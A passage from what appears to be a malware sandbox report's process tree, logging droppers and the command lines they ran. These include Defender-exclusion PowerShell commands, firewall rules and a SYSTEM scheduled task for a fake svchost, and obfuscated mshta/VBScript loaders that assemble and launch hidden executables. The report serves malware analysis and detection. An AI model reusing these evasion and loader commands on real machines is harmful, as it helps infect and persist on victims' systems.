-
C:\Users\Admin\Pictures\Adobe Films\mbSorhGxB1pNBjghFG36e2Ru.exe"C:\Users\Admin\Pictures\Adobe Films\mbSorhGxB1pNBjghFG36e2Ru.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:3224
-
-
C:\Users\Admin\Pictures\Adobe Films\B6Bw0roWFP55xUoOvHs45zOz.exe"C:\Users\Admin\Pictures\Adobe Films\B6Bw0roWFP55xUoOvHs45zOz.exe"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:3116 -
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"4⤵
- Executes dropped EXE
PID:4896
-
-
-
C:\Users\Admin\Pictures\Adobe Films\XLxRmbPcDQ4F7J32lIdFDeny.exe"C:\Users\Admin\Pictures\Adobe Films\XLxRmbPcDQ4F7J32lIdFDeny.exe"3⤵
- Executes dropped EXE
PID:3188 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "XLxRmbPcDQ4F7J32lIdFDeny.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\XLxRmbPcDQ4F7J32lIdFDeny.exe" & exit4⤵PID:5756
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "XLxRmbPcDQ4F7J32lIdFDeny.exe" /f5⤵
- Kills process with taskkill
PID:4384
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\ofHj9XDxpCLOcd4Ya1bSIs3C.exe"C:\Users\Admin\Pictures\Adobe Films\ofHj9XDxpCLOcd4Ya1bSIs3C.exe"3⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:2684 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \4⤵PID:5804
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵PID:5944
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵PID:808
-
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal4⤵PID:5592
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\5⤵PID:6276
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \5⤵PID:6344
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes5⤵PID:6524
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes5⤵PID:6444
-
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM4⤵
- Creates scheduled task(s)
PID:1892
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\4⤵PID:4356
-
-
-
C:\Users\Admin\Pictures\Adobe Films\0u2xG04QKCAjjQdTQBYBGzVU.exe"C:\Users\Admin\Pictures\Adobe Films\0u2xG04QKCAjjQdTQBYBGzVU.exe"3⤵
- Executes dropped EXE
PID:2212 -
C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4048 -
C:\Users\Admin\AppData\Local\803309.exe"C:\Users\Admin\AppData\Local\803309.exe"5⤵PID:5240
-
-
C:\Users\Admin\AppData\Local\784388.exe"C:\Users\Admin\AppData\Local\784388.exe"5⤵PID:4148
-
-
C:\Users\Admin\AppData\Local\539665.exe"C:\Users\Admin\AppData\Local\539665.exe"5⤵PID:4276
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\539665.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\539665.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))6⤵PID:7980
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\539665.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Local\539665.exe" ) do taskkill -f -Im "%~NXZ"7⤵PID:6016
-
C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i8⤵PID:8588
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))9⤵PID:8908
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"10⤵PID:9164
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )9⤵PID:6568
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *10⤵PID:6840
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EChO "11⤵PID:6216
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"11⤵PID:4620
-
-
C:\Windows\SysWOW64\control.execontrol ..\WfNRfms4.K11⤵PID:7404
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K12⤵PID:2452
-
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "539665.exe"8⤵
- Kills process with taskkill
PID:8792
-
-
-
-
-
C:\Users\Admin\AppData\Local\8059423.exe"C:\Users\Admin\AppData\Local\8059423.exe"5⤵PID:7228
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"6⤵PID:8124
-
-
-
C:\Users\Admin\AppData\Local\137866.exe"C:\Users\Admin\AppData\Local\137866.exe"5⤵PID:7512
-
-
-
C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"4⤵
- Executes dropped EXE
PID:4236 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4236 -s 15405⤵
- Program crash
PID:8068
-
-
-
C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"4⤵
- Executes dropped EXE
PID:4476
-
-
C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5100
-
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"4⤵
- Executes dropped EXE
PID:4740
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"4⤵
- Executes dropped EXE
PID:4204
-
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"4⤵
- Executes dropped EXE
PID:4836 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )5⤵PID:5604
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"6⤵PID:2700
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi7⤵PID:6476
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )8⤵PID:7064
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"9⤵PID:6964
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )8⤵PID:8768
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC9⤵PID:9080
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "10⤵PID:4556
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"10⤵PID:5344
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC10⤵PID:6292
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"7⤵
- Kills process with taskkill
PID:7312
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"4⤵
- Executes dropped EXE
PID:5044 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 6565⤵
- Program crash
PID:5640
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 6685⤵
- Program crash
PID:5976
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 6765⤵
- Program crash
PID:3640
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 6885⤵
- Program crash
PID:6104
-
-
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2332 -
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=15⤵PID:4192
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"6⤵PID:5676
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1c0,0x1bc,0x1b8,0x1c4,0x1b4,0x7ffbfd07dec0,0x7ffbfd07ded0,0x7ffbfd07dee07⤵PID:4860
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --mojo-platform-channel-handle=1784 /prefetch:87⤵PID:9284
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --mojo-platform-channel-handle=2188 /prefetch:87⤵PID:9300
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1736 /prefetch:27⤵PID:9276
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2524 /prefetch:17⤵PID:9384
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2496 /prefetch:17⤵PID:9372
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --mojo-platform-channel-handle=3208 /prefetch:87⤵PID:9792
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3264 /prefetch:27⤵PID:1572
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --mojo-platform-channel-handle=3440 /prefetch:87⤵PID:5976
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --mojo-platform-channel-handle=3656 /prefetch:87⤵PID:9836
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --mojo-platform-channel-handle=2700 /prefetch:87⤵PID:4492
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --mojo-platform-channel-handle=3788 /prefetch:87⤵PID:9904
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\chrome1.exe"C:\Users\Admin\AppData\Local\Temp\chrome1.exe"4⤵PID:4908
-
-
C:\Users\Admin\AppData\Local\Temp\chrome2.exe"C:\Users\Admin\AppData\Local\Temp\chrome2.exe"4⤵
- Executes dropped EXE
PID:5372
-
-
C:\Users\Admin\AppData\Local\Temp\chrome update.exe"C:\Users\Admin\AppData\Local\Temp\chrome update.exe"4⤵
- Executes dropped EXE
PID:5244
-
-
-
C:\Users\Admin\Pictures\Adobe Films\scfT65Yi8gy0dT5r5wdXmZND.exe"C:\Users\Admin\Pictures\Adobe Films\scfT65Yi8gy0dT5r5wdXmZND.exe"3⤵
- Executes dropped EXE
PID:3684 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\scfT65Yi8gy0dT5r5wdXmZND.exe" & exit4⤵PID:7756
-
C:\Windows\SysWOW64\timeout.exetimeout /t 55⤵
- Delays execution with timeout.exe
PID:3804
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\IuYBm3lYwBFvWH4EQPU9_Ywq.exe"C:\Users\Admin\Pictures\Adobe Films\IuYBm3lYwBFvWH4EQPU9_Ywq.exe"3⤵
- Executes dropped EXE
PID:2496 -
C:\Users\Admin\Pictures\Adobe Films\IuYBm3lYwBFvWH4EQPU9_Ywq.exe"C:\Users\Admin\Pictures\Adobe Films\IuYBm3lYwBFvWH4EQPU9_Ywq.exe"4⤵PID:5356
-
-
-
C:\Users\Admin\Pictures\Adobe Films\ydWz5wGfm19stkAY4iMIn9Xd.exe"C:\Users\Admin\Pictures\Adobe Films\ydWz5wGfm19stkAY4iMIn9Xd.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2068
-
-
C:\Users\Admin\Pictures\Adobe Films\_Jl5NRQH_VCxgKevGBMlhDUr.exe"C:\Users\Admin\Pictures\Adobe Films\_Jl5NRQH_VCxgKevGBMlhDUr.exe"3⤵
- Executes dropped EXE
PID:2064
-
-
C:\Users\Admin\Pictures\Adobe Films\fIluvx59br0pDNhWxyCvlECC.exe"C:\Users\Admin\Pictures\Adobe Films\fIluvx59br0pDNhWxyCvlECC.exe"3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3688
-
-
C:\Users\Admin\Pictures\Adobe Films\64sJSaHtBgpmY3s9JraLL3AH.exe"C:\Users\Admin\Pictures\Adobe Films\64sJSaHtBgpmY3s9JraLL3AH.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1988 -
C:\Users\Admin\Pictures\Adobe Films\64sJSaHtBgpmY3s9JraLL3AH.exe"C:\Users\Admin\Pictures\Adobe Films\64sJSaHtBgpmY3s9JraLL3AH.exe"4⤵
- Executes dropped EXE
PID:4928
-
-
-
C:\Users\Admin\Pictures\Adobe Films\rJhMZvnFmewWMgIePRFsY_sA.exe"C:\Users\Admin\Pictures\Adobe Films\rJhMZvnFmewWMgIePRFsY_sA.exe"3⤵
- Executes dropped EXE
PID:1012 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\rJhMZvnFmewWMgIePRFsY_sA.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\rJhMZvnFmewWMgIePRFsY_sA.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )4⤵PID:4824
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\rJhMZvnFmewWMgIePRFsY_sA.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\rJhMZvnFmewWMgIePRFsY_sA.exe" ) do taskkill -im "%~NxK" -F5⤵PID:5212
-
C:\Users\Admin\AppData\Local\Temp\8pWB.eXE8pWB.eXe /pO_wtib1KE0hzl7U9_CYP6⤵
- Executes dropped EXE
PID:4100 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )7⤵PID:4536
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F8⤵PID:6752
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ("WSCRIPt.SheLl" ). rUn ("C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl + _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " ,0 , TruE ) )7⤵PID:8740
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl+ _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY8⤵PID:8960
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "9⤵PID:6676
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"9⤵PID:8828
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y .\N3V4H8H.SXY9⤵PID:7996
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "rJhMZvnFmewWMgIePRFsY_sA.exe" -F6⤵
- Kills process with taskkill
PID:6720
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\U8hSQeS66LgtVXmVBPhymyYt.exe"C:\Users\Admin\Pictures\Adobe Films\U8hSQeS66LgtVXmVBPhymyYt.exe"3⤵
- Executes dropped EXE
PID:2088 -
